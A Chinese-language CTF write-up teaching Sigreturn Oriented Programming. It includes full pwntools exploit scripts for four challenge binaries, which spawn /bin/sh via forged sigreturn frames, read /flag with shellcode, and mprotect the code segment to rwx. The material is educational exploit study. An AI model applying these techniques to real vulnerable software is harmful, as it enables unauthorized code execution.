感觉到难大概是因为还没学会罢,愿在掌握之后再回头看能看到不一样的风景。

SROP(Sigreturn Oriented Programming)

理解

网上很多大佬原理写的很好了,我这里就写点自己想法。

首先了解一下,signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。

你不懂没关系(我也不懂),简单来说你发送 signal 的时候,会先把你的寄存器和 signal 信息存到你的用户栈里,然后跳到内核态去处理 signal,内核返回用户态执行信号处理之前,会设置信号处理函数的返回地址(x30)指向[vdso]中的 __kernel_rt_sigreturn 函数,来从栈中恢复取出之前所存的信息(无检验)。

那么我们试想一下,如果存在一个栈溢出漏洞。我们自己写一系列精心构造的数据,伪装成我们的寄存器和 signal 信息,然后先把返回地址覆盖成 Sigreturn ,后面紧跟着我们自己构造好的寄存器和 signal 信息,相当于我们恶意利用了这个恢复机制,于是我们可以控制 rip rsp 在内的所有寄存器,那么自然就可以控制程序执行了。

进一步,如果知道 /bin/sh 的地址,存在 syscall ,那么我们直接如下构造就可以 getshell 。

但一般程序是不会直接给你 /bin/sh 的,你需要自己通过 read 往某个地址写。这就需要构造 SROP 链(关键gadget:syscall;ret),具体的我们下面看几个题。


利用前提

大概是:

  1. syscall,signal 没 syscall 👦 玩毛 。
  2. 足够大的溢出空间,要能放得下伪造的 Frame。
  3. 好用的 gadget (非必要,详见 smallest),比如 pop rax 之类的,就算没有 Sigreturn ,x64 下把 rax 调到 15 后执行 syscall 是一样的效果。

一般思路是想办法搞到 /bin/sh 的位置(没有就写一个)后利用 SROP 执行 execve ,其他的我不好说,直接看题吧。


例题

额,大概是从易到难吧。后面要是追加就不算了。

FUNSIGNALS(白给的 Sigreturn)

分析

丢到 IDA 里面去,单纯的 SROP 题目都是比较简洁的。

image-20220329111928988

首先要看懂这个程序:

  1. mov dh, 4 的意思在这里是 RDX = 0x400,不清楚的话可以去 gdb 下断点后按 r 再跑一遍自己验证。`
  2. 开头到第一个 syscall 意思就是在 rsp 的地方读入 0x400 的数据。
  3. 题目贴心的是,后面的 push 0xF pop rax syscall,相当于直接调用了 Sigreturn 了(RAX = 15)。后面的 int 3 你不用管它,我们 Sigreturn 的是自己构造的 Frame ,把 rsp 和 rip 🐑 了就没它的事了。

我们要干的事也很简单,简单的构造一个恶意 Frame ,用 write 去泄露这个 flag 。直接调用 pwntools 构造。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#python2
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
gdb.attach(p,cmd)

p = process('./FUNSIGNALS')
# p = remote('hack.bckdr.in',17002)
elf = ELF('./FUNSIGNALS')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])

frame=SigreturnFrame()
frame.rax = constants.SYS_write # 1 is ok
frame.rdi = constants.STDOUT_FILENO # 1 is ok
frame.rsi = elf.sym['flag']
frame.rdx = 100
frame.rip = elf.sym['syscall']

p.sendline(str(frame))
p.interactive()

rootersctf_2019_srop(pop rax 构造的 Sigreturn)

分析

程序逻辑也很简单:先输出 data 段 buf 内的信息,往 rsp-0x40 处写入 0x400 的数据。

image-20220329141956305

这题没有白给的 Sigreturn ,但是有个很好用的 gadget pop rax syscall

基本思路是:第一次伪造 Frame 在已知地址处写入 /bin/sh ,第二次伪造 Frame 进行一个 /bin/shexecve

首先, 栈溢出覆盖 rip 为 pop rax;syscall;leave;retn 这个 gadget,后面紧跟 Sigreturn 调用号 15 和 第一个伪造的 Frame。

有必要说明一下 Frame 具体的构造:

1
2
3
4
5
6
7
8
fuck = SigreturnFrame()
fuck.rax = 0 # read 调用号
fuck.rdi = 0 # fd
fuck.rsi = 0x402500 # buf
fuck.rdx = 0x400 # count 不要写小了,没你好果汁吃(ᗜ_ᗜ)
fuck.rip = syscall_ret # syscall;leave;retn
fuck.rsp = 0x402500 # bss 段已知地址
fuck.rbp = 0x402500 # bss 段已知地址

那么我们预期中的程序流程是这样的:

  1. Sigreturn 恢复恶意 Frame 到寄存器 ,紧接着执行的是 Frame 中的 rip 也就是 syscall;leave;ret ,那么 syscall 就会先在 0x402500 处读入 0x400 的数据(ROP链++)。
  2. leave;ret 意思是 mov rsp,rbp;pop rbp;pop ripmov rsp,rbp因为我们构造的是一样的地址所以没影响,pop rbp 会把我们 ROP 链的前八个字节给 🐑 了。所以我们要在 ROP 链上先填充 8 字节的垃圾 rbp 地址,那么 pop rip 时就会执行我们的 ROP 链。(是不是感觉有点栈迁移那味👦

ROP 链我们明显要用来伪造第二个 Frame,我们在 0x402500 写入 ROP 链同时我们顺带写上 /bin/sh\0,具体的直接看 Exp 。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./rootersctf_2019_srop')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./rootersctf_2019_srop')
debug()
'''
.text:0000000000401032 pop rax
.text:0000000000401033 syscall ; LINUX - sys_read
.text:0000000000401035 leave
.text:0000000000401036 retn
'''
rax_syscall_leave_ret = 0x401032
syscall_ret = 0x401033
fuck = SigreturnFrame()
fuck.rax = 0
fuck.rdi = 0
fuck.rsi = 0x402500
fuck.rdx = 0x400
fuck.rip = syscall_ret
fuck.rsp = 0x402500
fuck.rbp = 0x402500

payload=flat(
['A'*0x80,0xdeadbeef,rax_syscall_leave_ret,15,fuck]
)
sl(payload)

wsnd = SigreturnFrame()
wsnd.rax = 59
wsnd.rdi = 0x402500 + 0x200
wsnd.rsi = 0
wsnd.rdx = 0
wsnd.rip = syscall_ret
wsnd.rsp = 0xdeadbeef
wsnd.rbp = 0xdeadbeef
# print(len((p64(0xdeadbeef)+p64(rax_syscall_leave_ret)+p64(15)+str(wsnd)))) !!! 272 !!!
sl((p64(0xdeadbeef)+p64(rax_syscall_leave_ret)+p64(15)+str(wsnd)).ljust(0x200,'\0')+'/bin/sh\0') # bin_sh = 0x402500 + 0x200

p.interactive()

smallest(通过 read 字节数构造的 Sigreturn)

分析

程序越来越短,gaget 越来越少 QWQ。这个相当直接,在 rsp 写处写 0x400 的数据,剩下的爱咋咋地。

image-20220329152145281

并且这题在运行时并没有一个较为固定的可读可写地址,需要 leak 栈地址。

image-20220329161716980

关键点:x64 调用约定中说明了函数调用的返回值是存在 rax 里面的,而 SYS_read 返回值是读取的字节个数。

1
2
3
4
5
6
+───────+───────+──────────────+──────────────────+
| %rax | Name | Entry point | Implementation |
+───────+───────+──────────────+──────────────────+
| 0 | read | sys_read | fs/read_write.c |
| 1 | write | sys_write | fs/read_write.c |
+───────+───────+──────────────+──────────────────+

而我们发现 write 的调用号是 1 ,意思是我们在读入一个字节的情况下跳过 xor rax,rax 这一步就会 write 出 rsp。

  1. 第一次执行先 read 塞入三个 vuln_addr = 0x4000B0,控制程序流程,每一次 ret 都执行一次 vuln。

  2. 第二次执行仅 read 塞入一个字节,部分覆盖掉返回地址为 NOxor_vuln = 0x4000B3

  3. 第三次执行,由于 write 不受 \x00 截断影响,到 syscall 时就会从 rsp 指针处开始 leak 出此时的栈信息(注意不是 rsp 指针地址,但是会输出很多栈内的地址)。

  4. 第四次执行,read 塞入 vuln_addr 以及 Frame。

  5. 第五次执行,read 塞入 syscall;ret 地址以及 Frame 前 7 个字节(凑齐 RAX = 15)。

  6. 到这就和上题差不多了,第一个 Frame 读入 ROP 链,第二个 Frame 执行 /bin/sh\0。不过 ROP 构造还是要先读入一次,后续凑满 15 字节这样利用。熟悉流程后难度不大。

Exp(execve)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./smallest')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./smallest')
# debug()
# p = remote('node4.buuoj.cn',26278)
'''
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
'''
vuln_addr = 0x4000B0
NOxor_vuln = 0x4000B3
syscall_ret = 0x4000BE
fuck = SigreturnFrame()
fuck.rax = 0
fuck.rdi = 0

payload=flat(
[vuln_addr,vuln_addr,vuln_addr]
)
se(payload)
se('\xB3')
rc(8)
stack_addr = uu64(rc(8))
stack_addr = stack_addr>>4
stack_addr = stack_addr<<4
info_addr('stack',stack_addr)
fuck = SigreturnFrame()
fuck.rax = 0
fuck.rdi = 0
fuck.rsi = stack_addr
fuck.rdx = 0x400
fuck.rsp = stack_addr
fuck.rip = syscall_ret

payload=flat(
[vuln_addr,0,fuck]
)
se(payload)
se(p64(NOxor_vuln)+str(fuck)[:7])
wsnd = SigreturnFrame()
wsnd.rax = 59
wsnd.rdi = stack_addr + 0x200
wsnd.rsi = 0
wsnd.rdx = 0
wsnd.rsp = stack_addr
wsnd.rip = syscall_ret
payload=(p64(vuln_addr)+p64(0)+str(wsnd)).ljust(0x200,'\0')+'/bin/sh\0'
se(payload)
se(p64(NOxor_vuln)+str(wsnd)[:7])

p.interactive()

Exp(orw)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./smallest')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
# p = process('./smallest')
# debug()
p = remote('node4.buuoj.cn',26278)
'''
.text:00000000004000B0 xor rax, rax
.text:00000000004000B3 mov edx, 400h ; count
.text:00000000004000B8 mov rsi, rsp ; buf
.text:00000000004000BB mov rdi, rax ; fd
.text:00000000004000BE syscall ; LINUX - sys_read
.text:00000000004000C0 retn
'''
vuln_addr = 0x4000B0
NOxor_vuln = 0x4000B3
syscall_ret = 0x4000BE
fuck = SigreturnFrame()
fuck.rax = 0
fuck.rdi = 0

payload=flat(
[vuln_addr,vuln_addr,vuln_addr]
)
se(payload)
se('\xB3')
rc(8)
stack_addr = uu64(rc(8))
stack_addr = stack_addr>>4
stack_addr = stack_addr<<4
info_addr('stack',stack_addr)
fuck = SigreturnFrame()
fuck.rax = 0
fuck.rdi = 0
fuck.rsi = stack_addr
fuck.rdx = 0x400
fuck.rsp = stack_addr
fuck.rip = syscall_ret

payload=flat(
[vuln_addr,0,fuck]
)
se(payload)
se(p64(NOxor_vuln)+str(fuck)[:7])
wsnd = SigreturnFrame()
wsnd.rax = 10
wsnd.rdi = (stack_addr>>12)<<12
wsnd.rsi = 0x1000
wsnd.rdx = 7
wsnd.rsp = stack_addr
wsnd.rip = syscall_ret
payload=(p64(vuln_addr)+p64(0)+str(wsnd)).ljust(0x200,'\0')+str(asm(shellcraft.cat('/flag')))
se(payload)
se(p64(NOxor_vuln)+str(wsnd)[:7])

se(p64(stack_addr+0x200))


p.interactive()

变量名是不是很帅,没啥用,就本地打通, 💨 远程一个都打不通,run 了 run 了。


2022/5/4 0:18 补充SROP 在没地方落脚(指写 rsp 或者 rip 的时候),一定记得 vmmap 之后 x/100xg 查看一下代码段有无 text 段指针可以当跳板。

HTB - sick_rop(扬 text 段)

由于网络原因远程没打通,罢 🐦 。主要是利用代码段残留的指针,这里可以写俩次 SROP 执行 /bin/sh\0 getshell。

但是写 mprotect 其实真的只用写一次然后改 rip 就行了。因为没有其他的地址可以落脚,直接把整个代码段扬成 rwx 就好了QwQ。非常滴狂野快乐 crazy 不讲道理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.27/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./sick_rop')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-h'])
p = process('./sick_rop')
debug()
# p = remote('157.245.40.78',32071)
vul = 0x40102E
syscall_ret = 0x40102B

fuck = SigreturnFrame()
fuck.rax = 10
fuck.rdi = 0x401000
fuck.rsi = 0x2000
fuck.rdx = 7
fuck.rsp = 0x4010d8
fuck.rip = syscall_ret

payload=flat(
['A'*0x20,0xdeadbeef,vul,syscall_ret,fuck]
)
sl(payload)
pause()
se('A'*15)

payload=flat(
['wsnd\0'.ljust(0x28,'\0'),vul,0x4010f0,asm(shellcraft.sh())]
)
pause()
se(payload)

p.interactive()

Ret2dlresolve

学不会,成消愁了,以后补上吧(但愿)。run 了 run 了。